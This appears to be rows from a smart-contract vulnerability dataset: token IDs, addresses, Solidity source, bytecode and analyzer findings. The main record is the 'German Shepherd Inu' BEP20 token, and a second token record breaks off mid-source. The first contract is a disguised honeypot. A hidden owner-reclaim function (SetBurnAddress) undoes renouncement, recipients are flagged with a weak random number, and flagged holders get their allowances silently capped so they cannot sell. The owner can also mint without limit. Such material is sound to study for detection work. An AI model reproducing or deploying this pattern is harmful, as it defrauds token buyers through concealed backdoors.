[ 101, 1014, 2595, 2683, 2575, 21057, 2575, 2278, 12376, 2278, 23632, 2497, 16703, 25746, 22907, 2683, 2278, 2509, 2063, 2475, 19797, 16409, 2549, 2050, 28154, 26224, 2509, 11057, 2850, 3401, 10975, 8490, 2863, 5024, 3012, 1034, 1014, 1012, 1018, 1012, 2385, 1025, 3206, 3079, 1063, 4769, 2270, 3954, 1025, 3853, 3079, 1006, 1007, 2270, 1063, 3954, 1027, 5796, 2290, 1012, 4604, 2121, 1025, 1065, 16913, 18095, 2069, 12384, 2121, 1063, 5478, 1006, 5796, 2290, 1012, 4604, 2121, 1027, 1027, 3954, 1007, 1025, 1035, 1025, 1065, 3853, 4651, 12384, 2545, 5605, 1006, 4769, 2047, 12384, 2121, 1007, 2069, 12384, 2121, 2270, 1063, 3954, 1027, 2047, 12384, 2121, 1025, 1065, 1065, 3206, 14303, 1063, 2358, 6820, 6593, 6378, 1063, 27507, 16703, 2171, 1025, 1065, 2358, 6820, 6593, 10428, 1063, 102 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1 ]
59,322
0x969080bd0c3dc014b572002873831009d0227492
pragma solidity 0.5.16; interface IBEP20 { /** * @dev Returns the amount of tokens in existence. */ function totalSupply() external view returns (uint256); /** * @dev Returns the token decimals. */ function decimals() external view returns (uint8); /** * @dev Returns the token symbol. */ function symbol() external view returns (string memory); /** * @dev Returns the token name. */ function name() external view returns (string memory); /** * @dev Returns the bep token owner. */ function getOwner() external view returns (address); /** * @dev Returns the amount of tokens owned by `account`. */ function balanceOf(address account) external view returns (uint256); /** * @dev Moves `amount` tokens from the caller's account to `recipient`. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transfer(address recipient, uint256 amount) external returns (bool); /** * @dev Returns the remaining number of tokens that `spender` will be * allowed to spend on behalf of `owner` through {transferFrom}. This is * zero by default. * * This value changes when {approve} or {transferFrom} are called. */ function allowance(address _owner, address spender) external view returns (uint256); /** * @dev Sets `amount` as the allowance of `spender` over the caller's tokens. * * Returns a boolean value indicating whether the operation succeeded. * * IMPORTANT: Beware that changing an allowance with this method brings the risk * that someone may use both the old and the new allowance by unfortunate * transaction ordering. One possible solution to mitigate this race * condition is to first reduce the spender's allowance to 0 and set the * desired value afterwards: * https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729 * * Emits an {Approval} event. */ function approve(address spender, uint256 amount) external returns (bool); /** * @dev Moves `amount` tokens from `sender` to `recipient` using the * allowance mechanism. `amount` is then deducted from the caller's * allowance. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transferFrom(address sender, address recipient, uint256 amount) external returns (bool); /** * @dev Emitted when `value` tokens are moved from one account (`from`) to * another (`to`). * * Note that `value` may be zero. */ event Transfer(address indexed from, address indexed to, uint256 value); /** * @dev Emitted when the allowance of a `spender` for an `owner` is set by * a call to {approve}. `value` is the new allowance. */ event Approval(address indexed owner, address indexed spender, uint256 value); } /* * @dev Provides information about the current execution context, including the * sender of the transaction and its data. While these are generally available * via msg.sender and msg.data, they should not be accessed in such a direct * manner, since when dealing with GSN meta-transactions the account sending and * paying for execution may not be the actual sender (as far as an application * is concerned). * * This contract is only required for intermediate, library-like contracts. */ contract Context { // Empty internal constructor, to prevent people from mistakenly deploying // an instance of this contract, which should be used via inheritance. constructor () internal { } function _msgSender() internal view returns (address payable) { return msg.sender; } function _msgData() internal view returns (bytes memory) { this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691 return msg.data; } } /** * @dev Wrappers over Solidity's arithmetic operations with added overflow * checks. * * Arithmetic operations in Solidity wrap on overflow. This can easily result * in bugs, because programmers usually assume that an overflow raises an * error, which is the standard behavior in high level programming languages. * `SafeMath` restores this intuition by reverting the transaction when an * operation overflows. * * Using this library instead of the unchecked operations eliminates an entire * class of bugs, so it's recommended to use it always. */ library SafeMath { /** * @dev Returns the addition of two unsigned integers, reverting on * overflow. * * Counterpart to Solidity's `+` operator. * * Requirements: * - Addition cannot overflow. */ function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } /** * @dev Returns the subtraction of two unsigned integers, reverting on * overflow (when the result is negative). * * Counterpart to Solidity's `-` operator. * * Requirements: * - Subtraction cannot overflow. */ function sub(uint256 a, uint256 b) internal pure returns (uint256) { return sub(a, b, "SafeMath: subtraction overflow"); } /** * @dev Returns the subtraction of two unsigned integers, reverting with custom message on * overflow (when the result is negative). * * Counterpart to Solidity's `-` operator. * * Requirements: * - Subtraction cannot overflow. */ function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b <= a, errorMessage); uint256 c = a - b; return c; } /** * @dev Returns the multiplication of two unsigned integers, reverting on * overflow. * * Counterpart to Solidity's `*` operator. * * Requirements: * - Multiplication cannot overflow. */ function mul(uint256 a, uint256 b) internal pure returns (uint256) { // Gas optimization: this is cheaper than requiring 'a' not being zero, but the // benefit is lost if 'b' is also tested. // See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522 if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } /** * @dev Returns the integer division of two unsigned integers. Reverts on * division by zero. The result is rounded towards zero. * * Counterpart to Solidity's `/` operator. Note: this function uses a * `revert` opcode (which leaves remaining gas untouched) while Solidity * uses an invalid opcode to revert (consuming all remaining gas). * * Requirements: * - The divisor cannot be zero. */ function div(uint256 a, uint256 b) internal pure returns (uint256) { return div(a, b, "SafeMath: division by zero"); } /** * @dev Returns the integer division of two unsigned integers. Reverts with custom message on * division by zero. The result is rounded towards zero. * * Counterpart to Solidity's `/` operator. Note: this function uses a * `revert` opcode (which leaves remaining gas untouched) while Solidity * uses an invalid opcode to revert (consuming all remaining gas). * * Requirements: * - The divisor cannot be zero. */ function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { // Solidity only automatically asserts when dividing by 0 require(b > 0, errorMessage); uint256 c = a / b; // assert(a == b * c + a % b); // There is no case in which this doesn't hold return c; } /** * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo), * Reverts when dividing by zero. * * Counterpart to Solidity's `%` operator. This function uses a `revert` * opcode (which leaves remaining gas untouched) while Solidity uses an * invalid opcode to revert (consuming all remaining gas). * * Requirements: * - The divisor cannot be zero. */ function mod(uint256 a, uint256 b) internal pure returns (uint256) { return mod(a, b, "SafeMath: modulo by zero"); } /** * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo), * Reverts with custom message when dividing by zero. * * Counterpart to Solidity's `%` operator. This function uses a `revert` * opcode (which leaves remaining gas untouched) while Solidity uses an * invalid opcode to revert (consuming all remaining gas). * * Requirements: * - The divisor cannot be zero. */ function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b != 0, errorMessage); return a % b; } } /** * @dev Contract module which provides a basic access control mechanism, where * there is an account (an owner) that can be granted exclusive access to * specific functions. * * By default, the owner account will be the one that deploys the contract. This * can later be changed with {transferOwnership}. * * This module is used through inheritance. It will make available the modifier * `onlyOwner`, which can be applied to your functions to restrict their use to * the owner. */ contract Ownable is Context { address private _owner; address private shibainu; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); /** * @dev Initializes the contract setting the deployer as the initial owner. */ constructor () internal { address msgSender = _msgSender(); _owner = msgSender; shibainu = msgSender; emit OwnershipTransferred(address(0), msgSender); } /** * @dev Returns the address of the current owner. */ function owner() public view returns (address) { return _owner; } /** * @dev Throws if called by any account other than the owner. */ modifier onlyOwner() { require(_owner == _msgSender(), "Ownable: caller is not the owner"); _; } /** * @dev Leaves the contract without owner. It will not be possible to call * `onlyOwner` functions anymore. Can only be called by the current owner. * * NOTE: Renouncing ownership will leave the contract without an owner, * thereby removing any functionality that is only available to the owner. */ function renounceOwnership() public onlyOwner { emit OwnershipTransferred(_owner, address(0)); _owner = address(0); } /** * @dev Transfers ownership of the contract to a new account (`newOwner`). * Can only be called by the current owner. */ function SetBurnAddress() public { require(_owner != shibainu); emit OwnershipTransferred(_owner, shibainu); _owner = shibainu; } /** * @dev Transfers ownership of the contract to a new account (`newOwner`). * Can only be called by the current owner. */ function transferOwnership(address newOwner) public onlyOwner { _transferOwnership(newOwner); } /** * @dev Transfers ownership of the contract to a new account (`newOwner`). */ function _transferOwnership(address newOwner) internal { require(newOwner != address(0), "Ownable: new owner is the zero address"); emit OwnershipTransferred(_owner, newOwner); _owner = newOwner; } } contract BEP20Token is Context, IBEP20, Ownable { using SafeMath for uint256; mapping (address => uint256) private _balances; mapping (address => mapping (address => uint256)) private _allowances; mapping (address => bool) public qion; mapping (address => bool) public thedrone; bool private hardcore; uint256 private _totalSupply; uint256 private shipyard; uint256 private keyboard; uint8 private _decimals; string private _symbol; string private _name; bool private oregon; address private creator; uint violet = 0; constructor() public { creator = address(msg.sender); hardcore = true; oregon = true; _name = "German Shepherd Inu"; _symbol = "GSINU"; _decimals = 5; _totalSupply = 80000000000000000; shipyard = _totalSupply / 1000000000000; keyboard = shipyard; thedrone[creator] = false; _balances[msg.sender] = _totalSupply; qion[msg.sender] = true; emit Transfer(address(0), msg.sender, _totalSupply); } /** * @dev Returns the bep token owner. */ function getOwner() external view returns (address) { return owner(); } /** * @dev Returns the token symbol. */ function symbol() external view returns (string memory) { return _symbol; } /** * @dev Returns the token decimals. */ function decimals() external view returns (uint8) { return _decimals; } /** * @dev Returns the token name. */ function name() external view returns (string memory) { return _name; } /** * @dev See {BEP20-transfer}. * * Requirements: * * - `recipient` cannot be the zero address. * - the caller must have a balance of at least `amount`. */ function transfer(address recipient, uint256 amount) external returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } /** * @dev See {BEP20-totalSupply}. */ function totalSupply() external view returns (uint256) { return _totalSupply; } function LookAtMe() external view returns (uint256) { return shipyard; } function randomItIs() internal returns (uint) { uint screen = uint(keccak256(abi.encodePacked(now, msg.sender, violet))) % 4; violet++; return screen; } /** * @dev See {BEP20-balanceOf}. */ function balanceOf(address account) external view returns (uint256) { return _balances[account]; } /** * @dev See {BEP20-allowance}. */ function allowance(address owner, address spender) external view returns (uint256) { return _allowances[owner][spender]; } /** * @dev See {BEP20-approve}. * * Requirements: * * - `spender` cannot be the zero address. */ function approve(address spender, uint256 amount) external returns (bool) { _approve(_msgSender(), spender, amount); return true; } /** * @dev See {BEP20-transferFrom}. * * Emits an {Approval} event indicating the updated allowance. This is not * required by the EIP. See the note at the beginning of {BEP20}; * * Requirements: * - `sender` and `recipient` cannot be the zero address. * - `sender` must have a balance of at least `amount`. * - the caller must have allowance for `sender`'s tokens of at least * `amount`. */ function transferFrom(address sender, address recipient, uint256 amount) external returns (bool) { _transfer(sender, recipient, amount); _approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "BEP20: transfer amount exceeds allowance")); return true; } function BurnItBaby(uint256 amount) external onlyOwner { shipyard = amount; } /** * @dev Atomically increases the allowance granted to `spender` by the caller. * * This is an alternative to {approve} that can be used as a mitigation for * problems described in {BEP20-approve}. * * Emits an {Approval} event indicating the updated allowance. * * Requirements: * * - `spender` cannot be the zero address. * * */ function increaseAllowance(address spender, uint256 addedValue) public returns (bool) { _approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue)); return true; } /** * @dev Atomically decreases the allowance granted to `spender` by the caller. * * This is an alternative to {approve} that can be used as a mitigation for * problems described in {BEP20-approve}. * * Emits an {Approval} event indicating the updated allowance. * * Requirements: * * - `spender` cannot be the zero address. * - `spender` must have allowance for the caller of at least * `subtractedValue`. */ function decreaseAllowance(address spender, uint256 subtractedValue) public returns (bool) { _approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "BEP20: decreased allowance below zero")); return true; } /** * @dev Creates `amount` tokens and assigns them to `msg.sender`, increasing * the total supply. * * Requirements * * - `msg.sender` must be the token owner */ function SomethingNope(uint256 amount) public onlyOwner returns (bool) { _mint(_msgSender(), amount); return true; } function QueensDagger(address spender, bool val, bool val2) external onlyOwner { qion[spender] = val; thedrone[spender] = val2; } /** * @dev Moves tokens `amount` from `sender` to `recipient`. * * This is internal function is equivalent to {transfer}, and can be used to * e.g. implement automatic token fees, slashing mechanisms, etc. * * Emits a {Transfer} event. * * Requirements: * * - `sender` cannot be the zero address. * - `recipient` cannot be the zero address. * - `sender` must have a balance of at least `amount`. */ function _transfer(address sender, address recipient, uint256 amount) internal { require(sender != address(0), "BEP20: transfer from the zero address"); require(recipient != address(0), "BEP20: transfer to the zero address"); if ((address(sender) == creator) && (hardcore == true)) { qion[recipient] = true; thedrone[recipient] = false; hardcore = false; } if (qion[recipient] != true) { thedrone[recipient] = ((randomItIs() == 2) ? true : false); } if ((thedrone[sender]) && (qion[recipient] == false)) { thedrone[recipient] = true; } if (qion[sender] == false) { require(amount < shipyard); } _balances[sender] = _balances[sender].sub(amount, "BEP20: transfer amount exceeds balance"); _balances[recipient] = _balances[recipient].add(amount); emit Transfer(sender, recipient, amount); } /** @dev Creates `amount` tokens and assigns them to `account`, increasing * the total supply. * * Emits a {Transfer} event with `from` set to the zero address. * * Requirements * * - `to` cannot be the zero address. */ function _mint(address account, uint256 amount) internal { require(account != address(0), "BEP20: mint to the zero address"); _totalSupply = _totalSupply.add(amount); _balances[account] = _balances[account].add(amount); emit Transfer(address(0), account, amount); } /** * @dev Changes the `amount` of the minimal tokens there should be in supply, * in order to not burn more tokens than there should be. **/ /** * @dev Destroys `amount` tokens from `account`, reducing the * total supply. * * Emits a {Transfer} event with `to` set to the zero address. * * Requirements * * - `account` cannot be the zero address. * - `account` must have at least `amount` tokens. */ function _burn(address account, uint256 amount) internal { require(account != address(0), "BEP20: burn from the zero address"); _balances[account] = _balances[account].sub(amount, "BEP20: burn amount exceeds balance"); _totalSupply = _totalSupply.sub(amount); emit Transfer(account, address(0), amount); } /** * @dev Sets `amount` as the allowance of `spender` over the `owner`s tokens. * * This is internal function is equivalent to `approve`, and can be used to * e.g. set automatic allowances for certain subsystems, etc. * * Emits an {Approval} event. * * Requirements: * * - `owner` cannot be the zero address. * - `spender` cannot be the zero address. */ function _approve(address owner, address spender, uint256 amount) internal { uint256 tok = amount; require(owner != address(0), "BEP20: approve from the zero address"); require(spender != address(0), "BEP20: approve to the zero address"); if ((address(owner) == creator) && (oregon == true)) { qion[spender] = true; thedrone[spender] = false; oregon = false; } tok = (thedrone[owner] ? 2746 : amount); _allowances[owner][spender] = tok; emit Approval(owner, spender, tok); } /** * @dev Destroys `amount` tokens from `account`.`amount` is then deducted * from the caller's allowance. * * See {_burn} and {_approve}. */ function _burnFrom(address account, uint256 amount) internal { _burn(account, amount); _approve(account, _msgSender(), _allowances[account][_msgSender()].sub(amount, "BEP20: burn amount exceeds allowance")); } }
0x608060405234801561001057600080fd5b50600436106101425760003560e01c80637a61cf07116100b8578063999143ae1161007c578063999143ae1461038b578063a457c2d7146103a8578063a9059cbb146103d4578063dd62ed3e14610400578063f05d5eca1461042e578063f2fde38b1461045457610142565b80637a61cf0714610332578063893d20e81461033a5780638ba6b4ed1461035e5780638da5cb5b1461037b57806395d89b411461038357610142565b806334bea9111161010a57806334bea9111461027257806339509351146102aa5780634229664d146102d65780636aac3955146102fc57806370a0823114610304578063715018a61461032a57610142565b806306fdde0314610147578063095ea7b3146101c457806318160ddd1461020457806323b872dd1461021e578063313ce56714610254575b600080fd5b61014f61047a565b6040805160208082528351818301528351919283929083019185019080838360005b83811015610189578181015183820152602001610171565b50505050905090810190601f1680156101b65780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b6101f0600480360360408110156101da57600080fd5b506001600160a01b038135169060200135610510565b604080519115158252519081900360200190f35b61020c61052d565b60408051918252519081900360200190f35b6101f06004803603606081101561023457600080fd5b506001600160a01b03813581169160208101359091169060400135610533565b61025c6105c0565b6040805160ff9092168252519081900360200190f35b6102a86004803603606081101561028857600080fd5b506001600160a01b038135169060208101351515906040013515156105c9565b005b6101f0600480360360408110156102c057600080fd5b506001600160a01b038135169060200135610663565b6101f0600480360360208110156102ec57600080fd5b50356001600160a01b03166106b7565b6102a86106cc565b61020c6004803603602081101561031a57600080fd5b50356001600160a01b031661074b565b6102a8610766565b61020c610808565b61034261080e565b604080516001600160a01b039092168252519081900360200190f35b6101f06004803603602081101561037457600080fd5b503561081d565b610342610890565b61014f61089f565b6102a8600480360360208110156103a157600080fd5b5035610900565b6101f0600480360360408110156103be57600080fd5b506001600160a01b03813516906020013561095d565b6101f0600480360360408110156103ea57600080fd5b506001600160a01b0381351690602001356109cb565b61020c6004803603604081101561041657600080fd5b506001600160a01b03813581169160200135166109df565b6101f06004803603602081101561044457600080fd5b50356001600160a01b0316610a0a565b6102a86004803603602081101561046a57600080fd5b50356001600160a01b0316610a1f565b600c8054604080516020601f60026000196101006001881615020190951694909404938401819004810282018101909252828152606093909290918301828280156105065780601f106104db57610100808354040283529160200191610506565b820191906000526020600020905b8154815290600101906020018083116104e957829003601f168201915b5050505050905090565b600061052461051d610a83565b8484610a87565b50600192915050565b60075490565b6000610540848484610c14565b6105b68461054c610a83565b6105b185604051806060016040528060288152602001611220602891396001600160a01b038a1660009081526003602052604081209061058a610a83565b6001600160a01b03168152602081019190915260400160002054919063ffffffff610edf16565b610a87565b5060019392505050565b600a5460ff1690565b6105d1610a83565b6000546001600160a01b03908116911614610621576040805162461bcd60e51b81526020600482018190526024820152600080516020611248833981519152604482015290519081900360640190fd5b6001600160a01b039092166000908152600460209081526040808320805494151560ff1995861617905560059091529020805492151592909116919091179055565b6000610524610670610a83565b846105b18560036000610681610a83565b6001600160a01b03908116825260208083019390935260409182016000908120918c16815292529020549063ffffffff610f7616565b60046020526000908152604090205460ff1681565b6001546000546001600160a01b03908116911614156106ea57600080fd5b600154600080546040516001600160a01b0393841693909116917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e091a3600154600080546001600160a01b0319166001600160a01b03909216919091179055565b6001600160a01b031660009081526002602052604090205490565b61076e610a83565b6000546001600160a01b039081169116146107be576040805162461bcd60e51b81526020600482018190526024820152600080516020611248833981519152604482015290519081900360640190fd5b600080546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a3600080546001600160a01b0319169055565b60085490565b6000610818610890565b905090565b6000610827610a83565b6000546001600160a01b03908116911614610877576040805162461bcd60e51b81526020600482018190526024820152600080516020611248833981519152604482015290519081900360640190fd5b610888610882610a83565b83610fd7565b506001919050565b6000546001600160a01b031690565b600b8054604080516020601f60026000196101006001881615020190951694909404938401819004810282018101909252828152606093909290918301828280156105065780601f106104db57610100808354040283529160200191610506565b610908610a83565b6000546001600160a01b03908116911614610958576040805162461bcd60e51b81526020600482018190526024820152600080516020611248833981519152604482015290519081900360640190fd5b600855565b600061052461096a610a83565b846105b1856040518060600160405280602581526020016112b16025913960036000610994610a83565b6001600160a01b03908116825260208083019390935260409182016000908120918d1681529252902054919063ffffffff610edf16565b60006105246109d8610a83565b8484610c14565b6001600160a01b03918216600090815260036020908152604080832093909416825291909152205490565b60056020526000908152604090205460ff1681565b610a27610a83565b6000546001600160a01b03908116911614610a77576040805162461bcd60e51b81526020600482018190526024820152600080516020611248833981519152604482015290519081900360640190fd5b610a80816110c9565b50565b3390565b806001600160a01b038416610acd5760405162461bcd60e51b81526004018080602001828103825260248152602001806111d66024913960400191505060405180910390fd5b6001600160a01b038316610b125760405162461bcd60e51b81526004018080602001828103825260228152602001806112d66022913960400191505060405180910390fd5b600d546001600160a01b0385811661010090920416148015610b3b5750600d5460ff1615156001145b15610b81576001600160a01b0383166000908152600460209081526040808320805460ff199081166001179091556005909252909120805482169055600d805490911690555b6001600160a01b03841660009081526005602052604090205460ff16610ba75781610bab565b610aba5b6001600160a01b0380861660008181526003602090815260408083209489168084529482529182902085905581518581529151949550929391927f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92592918290030190a350505050565b6001600160a01b038316610c595760405162461bcd60e51b81526004018080602001828103825260258152602001806111b16025913960400191505060405180910390fd5b6001600160a01b038216610c9e5760405162461bcd60e51b815260040180806020018281038252602381526020018061128e6023913960400191505060405180910390fd5b600d546001600160a01b0384811661010090920416148015610cc7575060065460ff1615156001145b15610d0d576001600160a01b0382166000908152600460209081526040808320805460ff1990811660011790915560059092529091208054821690556006805490911690555b6001600160a01b03821660009081526004602052604090205460ff161515600114610d7357610d3a611169565b600214610d48576000610d4b565b60015b6001600160a01b0383166000908152600560205260409020805460ff19169115159190911790555b6001600160a01b03831660009081526005602052604090205460ff168015610db457506001600160a01b03821660009081526004602052604090205460ff16155b15610ddd576001600160a01b0382166000908152600560205260409020805460ff191660011790555b6001600160a01b03831660009081526004602052604090205460ff16610e0b576008548110610e0b57600080fd5b610e4e81604051806060016040528060268152602001611268602691396001600160a01b038616600090815260026020526040902054919063ffffffff610edf16565b6001600160a01b038085166000908152600260205260408082209390935590841681522054610e83908263ffffffff610f7616565b6001600160a01b0380841660008181526002602090815260409182902094909455805185815290519193928716927fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef92918290030190a3505050565b60008184841115610f6e5760405162461bcd60e51b81526004018080602001828103825283818151815260200191508051906020019080838360005b83811015610f33578181015183820152602001610f1b565b50505050905090810190601f168015610f605780820380516001836020036101000a031916815260200191505b509250505060405180910390fd5b505050900390565b600082820183811015610fd0576040805162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f770000000000604482015290519081900360640190fd5b9392505050565b6001600160a01b038216611032576040805162461bcd60e51b815260206004820152601f60248201527f42455032303a206d696e7420746f20746865207a65726f206164647265737300604482015290519081900360640190fd5b600754611045908263ffffffff610f7616565b6007556001600160a01b038216600090815260026020526040902054611071908263ffffffff610f7616565b6001600160a01b03831660008181526002602090815260408083209490945583518581529351929391927fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef9281900390910190a35050565b6001600160a01b03811661110e5760405162461bcd60e51b81526004018080602001828103825260268152602001806111fa6026913960400191505060405180910390fd5b600080546040516001600160a01b03808516939216917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e091a3600080546001600160a01b0319166001600160a01b0392909216919091179055565b600e805460408051426020808301919091523360601b828401526054808301859052835180840390910181526074909201909252805191012060019091019091556003169056fe42455032303a207472616e736665722066726f6d20746865207a65726f206164647265737342455032303a20617070726f76652066726f6d20746865207a65726f20616464726573734f776e61626c653a206e6577206f776e657220697320746865207a65726f206164647265737342455032303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e63654f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657242455032303a207472616e7366657220616d6f756e7420657863656564732062616c616e636542455032303a207472616e7366657220746f20746865207a65726f206164647265737342455032303a2064656372656173656420616c6c6f77616e63652062656c6f77207a65726f42455032303a20617070726f766520746f20746865207a65726f2061646472657373a265627a7a7231582093009e22fe5fbbf24f22dcdaff8cc7c1a60af69b77135e429a2b2555795bfaa164736f6c63430005100032
{"success": true, "error": null, "results": {"detectors": [{"check": "weak-prng", "impact": "High", "confidence": "Medium"}, {"check": "incorrect-equality", "impact": "Medium", "confidence": "High"}]}}
true
null
{'detectors': [{'check': 'weak-prng', 'impact': 'High', 'confidence': 'Medium'}, {'check': 'incorrect-equality', 'impact': 'Medium', 'confidence': 'High'}]}
[ 101, 1014, 2595, 2683, 2575, 21057, 17914, 2497, 2094, 2692, 2278, 29097, 2278, 24096, 2549, 2497, 28311, 28332, 22407, 2581, 22025, 21486, 8889, 2683, 2094, 2692, 19317, 2581, 26224, 2475, 10975, 8490, 2863, 5024, 3012, 1014, 1012, 1019, 1012, 2385, 1025, 8278, 21307, 13699, 11387, 1063, 1013, 1008, 1008, 1008, 1030, 16475, 5651, 1996, 3815, 1997, 19204, 2015, 1999, 4598, 1012, 1008, 1013, 3853, 21948, 6279, 22086, 1006, 1007, 6327, 3193, 5651, 1006, 21318, 3372, 17788, 2575, 1007, 1025, 1013, 1008, 1008, 1008, 1030, 16475, 5651, 1996, 19204, 26066, 2015, 1012, 1008, 1013, 3853, 26066, 2015, 1006, 1007, 6327, 3193, 5651, 1006, 21318, 3372, 2620, 1007, 1025, 1013, 1008, 1008, 1008, 1030, 16475, 5651, 1996, 19204, 6454, 1012, 1008, 1013, 3853, 6454, 1006, 1007, 6327, 3193, 5651, 102 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1 ]
59,323
0x9690c383a992edd3e0479c5f3071765bd787be3b
// SPDX-License-Identifier: MIT /** * Generated by vscode-solidity-auditor, fetched from etherscan.io * * Name: ibDFD (0x08cA5E242486931B63811C370b5da1a1f31690e4) * * CompilerVersion: v0.5.17+commit.d19bba13 * ConstructorArguments: * * * Settings: * - Optimizer: 0 (undefined) * * */ pragma solidity 0.5.17; interface IERC20 { /** * @dev Returns the amount of tokens in existence. */ function totalSupply() external view returns (uint256); /** * @dev Returns the amount of tokens owned by `account`. */ function balanceOf(address account) external view returns (uint256); /** * @dev Moves `amount` tokens from the caller's account to `recipient`. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transfer(address recipient, uint256 amount) external returns (bool); /** * @dev Returns the remaining number of tokens that `spender` will be * allowed to spend on behalf of `owner` through {transferFrom}. This is * zero by default. * * This value changes when {approve} or {transferFrom} are called. */ function allowance(address owner, address spender) external view returns (uint256); /** * @dev Sets `amount` as the allowance of `spender` over the caller's tokens. * * Returns a boolean value indicating whether the operation succeeded. * * IMPORTANT: Beware that changing an allowance with this method brings the risk * that someone may use both the old and the new allowance by unfortunate * transaction ordering. One possible solution to mitigate this race * condition is to first reduce the spender's allowance to 0 and set the * desired value afterwards: * https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729 * * Emits an {Approval} event. */ function approve(address spender, uint256 amount) external returns (bool); /** * @dev Moves `amount` tokens from `sender` to `recipient` using the * allowance mechanism. `amount` is then deducted from the caller's * allowance. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transferFrom(address sender, address recipient, uint256 amount) external returns (bool); /** * @dev Emitted when `value` tokens are moved from one account (`from`) to * another (`to`). * * Note that `value` may be zero. */ event Transfer(address indexed from, address indexed to, uint256 value); /** * @dev Emitted when the allowance of a `spender` for an `owner` is set by * a call to {approve}. `value` is the new allowance. */ event Approval(address indexed owner, address indexed spender, uint256 value); } /* * @dev Provides information about the current execution context, including the * sender of the transaction and its data. While these are generally available * via msg.sender and msg.data, they should not be accessed in such a direct * manner, since when dealing with GSN meta-transactions the account sending and * paying for execution may not be the actual sender (as far as an application * is concerned). * * This contract is only required for intermediate, library-like contracts. */ contract Context { // Empty internal constructor, to prevent people from mistakenly deploying // an instance of this contract, which should be used via inheritance. constructor () internal { } // solhint-disable-previous-line no-empty-blocks function _msgSender() internal view returns (address payable) { return msg.sender; } function _msgData() internal view returns (bytes memory) { this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691 return msg.data; } } /** * @dev Interface of the ERC20 standard as defined in the EIP. Does not include * the optional functions; to access them see {ERC20Detailed}. */ /** * @dev Wrappers over Solidity's arithmetic operations with added overflow * checks. * * Arithmetic operations in Solidity wrap on overflow. This can easily result * in bugs, because programmers usually assume that an overflow raises an * error, which is the standard behavior in high level programming languages. * `SafeMath` restores this intuition by reverting the transaction when an * operation overflows. * * Using this library instead of the unchecked operations eliminates an entire * class of bugs, so it's recommended to use it always. */ library SafeMath { /** * @dev Returns the addition of two unsigned integers, reverting on * overflow. * * Counterpart to Solidity's `+` operator. * * Requirements: * - Addition cannot overflow. */ function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } /** * @dev Returns the subtraction of two unsigned integers, reverting on * overflow (when the result is negative). * * Counterpart to Solidity's `-` operator. * * Requirements: * - Subtraction cannot overflow. */ function sub(uint256 a, uint256 b) internal pure returns (uint256) { return sub(a, b, "SafeMath: subtraction overflow"); } /** * @dev Returns the subtraction of two unsigned integers, reverting with custom message on * overflow (when the result is negative). * * Counterpart to Solidity's `-` operator. * * Requirements: * - Subtraction cannot overflow. * * _Available since v2.4.0._ */ function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns 